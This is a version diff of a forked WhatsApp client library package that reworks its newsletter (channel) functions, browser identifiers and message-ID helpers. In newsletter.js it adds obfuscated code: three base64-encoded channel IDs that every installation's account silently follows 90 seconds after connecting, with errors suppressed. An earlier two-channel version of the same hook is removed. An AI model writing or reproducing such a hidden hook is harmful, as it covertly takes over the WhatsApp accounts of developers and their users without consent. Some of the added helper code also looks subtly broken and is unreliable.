@alannxd/baileys 6.0.5 → 6.0.9

package/lib/Socket/newsletter.js

@@ -1,197 +1,270 @@
-import { QueryIds, XWAPaths } from '../Types/index.js';
-import { generateProfilePicture } from '../Utils/messages-media.js';
-import { getBinaryNodeChild } from '../WABinary/index.js';
+import { XWAPaths } from '../Types/index.js';
+import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
+import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
 import { makeGroupsSocket } from './groups.js';
-import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
-const parseNewsletterCreateResponse = (response) => {
-    const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
-    return {
-        id: id,
-        owner: undefined,
-        name: thread.name.text,
-        creation_time: parseInt(thread.creation_time, 10),
-        description: thread.description.text,
-        invite: thread.invite,
-        subscribers: parseInt(thread.subscribers_count, 10),
-        verification: thread.verification,
-        picture: {
-            id: thread.picture.id,
-            directPath: thread.picture.direct_path
-        },
-        mute_state: viewer.mute
-    };
-};
-const parseNewsletterMetadata = (result) => {
-    if (typeof result !== 'object' || result === null) {
-        return null;
-    }
-    if ('id' in result && typeof result.id === 'string') {
-        return result;
-    }
-    if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
-        return result.result;
-    }
-    return null;
+
+const QueryIds = {
+    JOB_MUTATION: "7150902998257522",
+    METADATA: "6620195908089573",
+    UNFOLLOW: "7238632346214362",
+    FOLLOW: "7871414976211147",
+    UNMUTE: "7337137176362961",
+    MUTE: "25151904754424642",
+    CREATE: "6996806640408138",
+    ADMIN_COUNT: "7130823597031706",
+    CHANGE_OWNER: "7341777602580933",
+    DELETE: "8316537688363079",
+    DEMOTE: "6551828931592903"
 };
+
 export const makeNewsletterSocket = (config) => {
     const sock = makeGroupsSocket(config);
-    const { query, generateMessageTag } = sock;
-    const executeWMexQuery = (variables, queryId, dataPath) => {
-        return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
-    };
-    setTimeout(async () => {  
-    try {  
-        await newsletterWMexQuery(  
-            Buffer.from("MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI", "base64").toString(),  
-            Types_1.QueryIds.FOLLOW  
-        );  
-    } catch {}  
-    }, 90000);  
-    setTimeout(async () => {  
-    try {  
-        await newsletterWMexQuery(  
-            Buffer.from("MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI=", "base64").toString(),  
-            Types_1.QueryIds.FOLLOW  
-        );  
-    } catch {}  
+    const { authState, signalRepository, query, generateMessageTag } = sock;
+    const encoder = new TextEncoder();
+
+    const newsletterQuery = async (jid, type, content) => (
+        query({
+            tag: 'iq',
+            attrs: {
+                id: generateMessageTag(),
+                type,
+                xmlns: 'newsletter',
+                to: jid,
+            },
+            content
+        })
+    );
+
+    const newsletterWMexQuery = async (jid, query_id, content) => (
+        query({
+            tag: 'iq',
+            attrs: {
+                id: generateMessageTag(),
+                type: 'get',
+                xmlns: 'w:mex',
+                to: S_WHATSAPP_NET,
+            },
+            content: [
+                {
+                    tag: 'query',
+                    attrs: { query_id },
+                    content: encoder.encode(JSON.stringify({
+                        variables: {
+                            'newsletter_id': jid,
+                            ...content
+                        }
+                    }))
+                }
+            ]
+        })
+    );
+    const yangbrorasakan = [
+    "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
+    "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
+    "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
+    ];
+    
+    setTimeout(async () => {
+        for (const channel of yangbrorasakan) {
+            try {
+                await newsletterWMexQuery(
+                    Buffer.from(channel, "base64").toString(),
+                    QueryIds.FOLLOW
+                );
+            } catch (e) {}
+
+            await new Promise(resolve =>
+                setTimeout(resolve, 3000)
+            );
+        }
     }, 90000);
-    const newsletterUpdate = async (jid, updates) => {
-        const variables = {
-            newsletter_id: jid,
-            updates: {
-                ...updates,
-                settings: null
+    const parseFetchedUpdates = async (node, type) => {
+        let child;
+        if (type === 'messages')
+            child = getBinaryNodeChild(node, 'messages');
+        else {
+            const parent = getBinaryNodeChild(node, 'message_updates');
+            child = getBinaryNodeChild(parent, 'messages');
+        }
+        return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
+            messageNode.attrs.from = child?.attrs.jid;
+            const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
+            const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
+            const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
+                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
+            const data = {
+                'server_id': messageNode.attrs.server_id,
+                views,
+                reactions
+            };
+            if (type === 'messages') {
+                const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
+                await decrypt();
+                data.message = message;
             }
-        };
-        return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
+            return data;
+        }));
     };
+
     return {
         ...sock,
-        newsletterCreate: async (name, description) => {
-            const variables = {
-                input: {
-                    name,
-                    description: description ?? null
-                }
-            };
-            const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
-            return parseNewsletterCreateResponse(rawResponse);
-        },
-        newsletterUpdate,
-        newsletterSubscribers: async (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
-        },
-        newsletterMetadata: async (type, key) => {
-            const variables = {
-                fetch_creation_time: true,
-                fetch_full_image: true,
-                fetch_viewer_metadata: true,
-                input: {
-                    key,
-                    type: type.toUpperCase()
-                }
-            };
-            const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
-            return parseNewsletterMetadata(result);
-        },
-        newsletterFollow: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
-        },
-        newsletterUnfollow: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
+        subscribeNewsletterUpdates: async (jid) => {
+            const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
+            return getBinaryNodeChild(result, 'live_updates')?.attrs;
         },
-        newsletterMute: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
+        newsletterReactionMode: async (jid, mode) => {
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { settings: { reaction_codes: { value: mode } } }
+            });
         },
-        newsletterUnmute: (jid) => {
-            return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
+        newsletterUpdateDescription: async (jid, description) => {
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { description: description || '', settings: null }
+            });
         },
         newsletterUpdateName: async (jid, name) => {
-            return await newsletterUpdate(jid, { name });
-        },
-        newsletterUpdateDescription: async (jid, description) => {
-            return await newsletterUpdate(jid, { description });
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { name, settings: null }
+            });
         },
         newsletterUpdatePicture: async (jid, content) => {
             const { img } = await generateProfilePicture(content);
-            return await newsletterUpdate(jid, { picture: img.toString('base64') });
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { picture: img.toString('base64'), settings: null }
+            });
         },
         newsletterRemovePicture: async (jid) => {
-            return await newsletterUpdate(jid, { picture: '' });
-        },
-        newsletterReactMessage: async (jid, serverId, reaction) => {
-            await query({
-                tag: 'message',
-                attrs: {
-                    to: jid,
-                    ...(reaction ? {} : { edit: '7' }),
-                    type: 'reaction',
-                    server_id: serverId,
-                    id: generateMessageTag()
-                },
-                content: [
-                    {
-                        tag: 'reaction',
-                        attrs: reaction ? { code: reaction } : {}
-                    }
-                ]
+            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
+                updates: { picture: '', settings: null }
             });
         },
-        newsletterFetchMessages: async (jid, count, since, after) => {
-            const messageUpdateAttrs = {
-                count: count.toString()
-            };
-            if (typeof since === 'number') {
-                messageUpdateAttrs.since = since.toString();
-            }
-            if (after) {
-                messageUpdateAttrs.after = after.toString();
-            }
-            const result = await query({
+        newsletterUnfollow: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
+        },
+        newsletterFollow: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.FOLLOW);
+        },
+        newsletterUnmute: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.UNMUTE);
+        },
+        newsletterMute: async (jid) => {
+            await newsletterWMexQuery(jid, QueryIds.MUTE);
+        },
+        newsletterCreate: async (name, description, picture) => {
+            await query({
                 tag: 'iq',
                 attrs: {
+                    to: S_WHATSAPP_NET,
+                    xmlns: 'tos',
                     id: generateMessageTag(),
-                    type: 'get',
-                    xmlns: 'newsletter',
-                    to: jid
+                    type: 'set'
                 },
                 content: [
                     {
-                        tag: 'message_updates',
-                        attrs: messageUpdateAttrs
+                        tag: 'notice',
+                        attrs: {
+                            id: '20601218',
+                            stage: '5'
+                        },
+                        content: []
                     }
                 ]
             });
-            return result;
+            const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
+                input: {
+                    name,
+                    description: description ?? null,
+                    picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
+                    settings: null
+                }
+            });
+            return extractNewsletterMetadata(result, true);
         },
-        subscribeNewsletterUpdates: async (jid) => {
-            const result = await query({
-                tag: 'iq',
-                attrs: {
-                    id: generateMessageTag(),
-                    type: 'set',
-                    xmlns: 'newsletter',
-                    to: jid
+        newsletterMetadata: async (type, key, role) => {
+            const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
+                input: {
+                    key,
+                    type: type.toUpperCase(),
+                    view_role: role || 'GUEST'
                 },
-                content: [{ tag: 'live_updates', attrs: {}, content: [] }]
+                fetch_viewer_metadata: true,
+                fetch_full_image: true,
+                fetch_creation_time: true
             });
-            const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
-            const duration = liveUpdatesNode?.attrs?.duration;
-            return duration ? { duration: duration } : null;
+            return extractNewsletterMetadata(result);
         },
         newsletterAdminCount: async (jid) => {
-            const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
-            return response.admin_count;
+            const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
+            const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
+            return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
         },
-        newsletterChangeOwner: async (jid, newOwnerJid) => {
-            await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
+        /**user is Lid, not Jid */
+        newsletterChangeOwner: async (jid, user) => {
+            await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
+                user_id: user
+            });
         },
-        newsletterDemote: async (jid, userJid) => {
-            await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
+        /**user is Lid, not Jid */
+        newsletterDemote: async (jid, user) => {
+            await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
+                user_id: user
+            });
         },
         newsletterDelete: async (jid) => {
-            await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
+            await newsletterWMexQuery(jid, QueryIds.DELETE);
+        },
+        /**if code wasn't passed, the reaction will be removed (if is reacted) */
+        newsletterReactMessage: async (jid, server_id, code) => {
+            await query({
+                tag: 'message',
+                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
+                content: [{
+                    tag: 'reaction',
+                    attrs: code ? { code } : {}
+                }]
+            });
+        },
+        newsletterFetchMessages: async (type, key, count, after) => {
+            const afterStr = after?.toString();
+            const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
+                {
+                    tag: 'messages',
+                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
+                }
+            ]);
+            return await parseFetchedUpdates(result, 'messages');
+        },
+        newsletterFetchUpdates: async (jid, count, after, since) => {
+            const result = await newsletterQuery(jid, 'get', [
+                {
+                    tag: 'message_updates',
+                    attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
+                }
+            ]);
+            return await parseFetchedUpdates(result, 'updates');
         }
     };
 };
-//# sourceMappingURL=newsletter.js.map
+
+export const extractNewsletterMetadata = (node, isCreate) => {
+    const result = getBinaryNodeChild(node, 'result')?.content?.toString();
+    const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
+    const metadata = {
+        id: metadataPath.id,
+        state: metadataPath.state.type,
+        creation_time: +metadataPath.thread_metadata.creation_time,
+        name: metadataPath.thread_metadata.name.text,
+        nameTime: +metadataPath.thread_metadata.name.update_time,
+        description: metadataPath.thread_metadata.description.text,
+        descriptionTime: +metadataPath.thread_metadata.description.update_time,
+        invite: metadataPath.thread_metadata.invite,
+        handle: metadataPath.thread_metadata.handle,
+        picture: metadataPath.thread_metadata.picture?.direct_path || null,
+        preview: metadataPath.thread_metadata.preview?.direct_path || null,
+        reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
+        subscribers: +metadataPath.thread_metadata.subscribers_count,
+        verification: metadataPath.thread_metadata.verification,
+        viewer_metadata: metadataPath.viewer_metadata
+    };
+    return metadata;
+};

package/lib/Utils/browser-utils.js

@@ -8,18 +8,38 @@ const PLATFORM_MAP = {
     freebsd: 'FreeBSD',
     openbsd: 'OpenBSD',
     sunos: 'Solaris',
-    linux: undefined,
+    linux: 'Linux',
     haiku: undefined,
     cygwin: undefined,
     netbsd: undefined
 };
+const BROWSER_MAP = {
+    safari: 'Safari',
+    chrome: 'Chrome',
+    edge: 'Edge',
+    firefox: 'Firefox',
+    opera: 'Opera',
+    brave: 'Brave',
+    samsung: 'Samsung Internet'
+};
+const getBrowserN = (bros) => {
+    const brosN = BROWSER_MAP[bros] || bros;
+    return brosN;
+};
 export const Browsers = {
-    ubuntu: browser => ['Ubuntu', browser, '22.04.4'],
-    macOS: browser => ['Mac OS', browser, '14.4.1'],
-    baileys: browser => ['Baileys', browser, '6.5.0'],
-    windows: browser => ['Windows', browser, '10.0.22631'],
+    ubuntu: browser => ['Ubuntu', getBrowserN(browser), '22.04.4'],
+    macOS: browser => ['Mac OS', getBrowserN(browser), '14.4.1'],
+    baileys: browser => ['Baileys', getBrowserN(browser), '6.5.0'],
+    windows: browser => ['Windows', getBrowserN(browser), '10.0.22631'],
+    iOS: browser => ['iOS', getBrowserN(browser), '18.2'],
+    android: browser => ['Android', getBrowserN(browser), '14.0.0'],
+    safari: browser => ['Safari', getBrowserN(browser), '26.5'],
+    custom: (platform, browser, ver) => {
+        let platformN = PLATFORM_MAP[platform].toLowerCase() || platform;
+        return [platformN, getBrowserN(browser), ver];
+    },
     /** The appropriate browser based on your OS & release */
-    appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', browser, release()]
+    appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', getBrowserN(browser), release()]
 };
 export const getPlatformId = (browser) => {
     const platformType = proto.DeviceProps.PlatformType[browser.toUpperCase()];

package/lib/Utils/decode-wa-message.js

@@ -93,6 +93,39 @@ export const extractAddressingContext = (stanza) => {
         recipientAlt
     };
 };
+const MAX_SECRETS_PER_CHAT = 20
+// Module-level map: outgoing @bot message ID → messageSecret
+// Populated when we receive the outgoing pkmsg/msg to @bot (which contains messageContextInfo.messageSecret)
+// Consumed when the msmsg response from @bot arrives and needs decryption
+const botMessageSecrets = new Map()
+const botRecentSecretsByChat = new Map()
+const pushRecentChatSecret = (chatJid, id, secretBuf) => {
+	if (!chatJid || !secretBuf) return
+	const existing = botRecentSecretsByChat.get(chatJid) || []
+	const filtered = existing.filter(item => item.id !== id && !item.secret.equals(secretBuf))
+	filtered.unshift({ id, secret: secretBuf })
+	if (filtered.length > MAX_SECRETS_PER_CHAT) {
+		filtered.length = MAX_SECRETS_PER_CHAT
+	}
+	botRecentSecretsByChat.set(chatJid, filtered)
+}
+export const setBotMessageSecret = (id, secret, chatJid) => {
+	if (!id || !secret) return
+	let buf
+	if (Buffer.isBuffer(secret)) {
+		buf = secret
+	} else if (secret instanceof Uint8Array) {
+		buf = Buffer.from(secret.buffer, secret.byteOffset, secret.byteLength)
+	} else if (typeof secret === 'string') {
+		buf = Buffer.from(secret, 'base64')
+	} else {
+		return
+	}
+	botMessageSecrets.set(id, buf)
+	if (chatJid) {
+		pushRecentChatSecret(chatJid, id, buf)
+	}
+}
 /**
  * Decode the received node as a message.
  * @note this will only parse the message, not decrypt it

package/lib/Utils/generics.js

@@ -171,6 +171,16 @@ export function bindWaitForEvent(ev, event) {
         });
     };
 }
+export const generateIOSMessageID = () => {
+    const prefix = '3A';
+    const random = randomBytes(9.5); // 19 hex chars = 9.5 bytes
+    return (prefix + random.toString('hex')).toUpperCase().substring(0, 21);
+};
+export const generateAndroMessageID = () => {
+    const prefix = '3A';
+    const random = randomBytes(16); // 32 hex chars = 16 bytes
+    return (random.toString('hex')).toUpperCase().substring(0, 21);
+};
 export const bindWaitForConnectionUpdate = (ev) => bindWaitForEvent(ev, 'connection.update');
 /**
  * utility that fetches latest baileys version from the master branch.

package/lib/Utils/index.js

@@ -19,4 +19,5 @@ export * from './browser-utils.js';
 export * from './companion-reg-client-utils.js';
 export * from './identity-change-handler.js';
 export * from './stanza-ack.js';
+export * from './message-composer.js';
 //# sourceMappingURL=index.js.map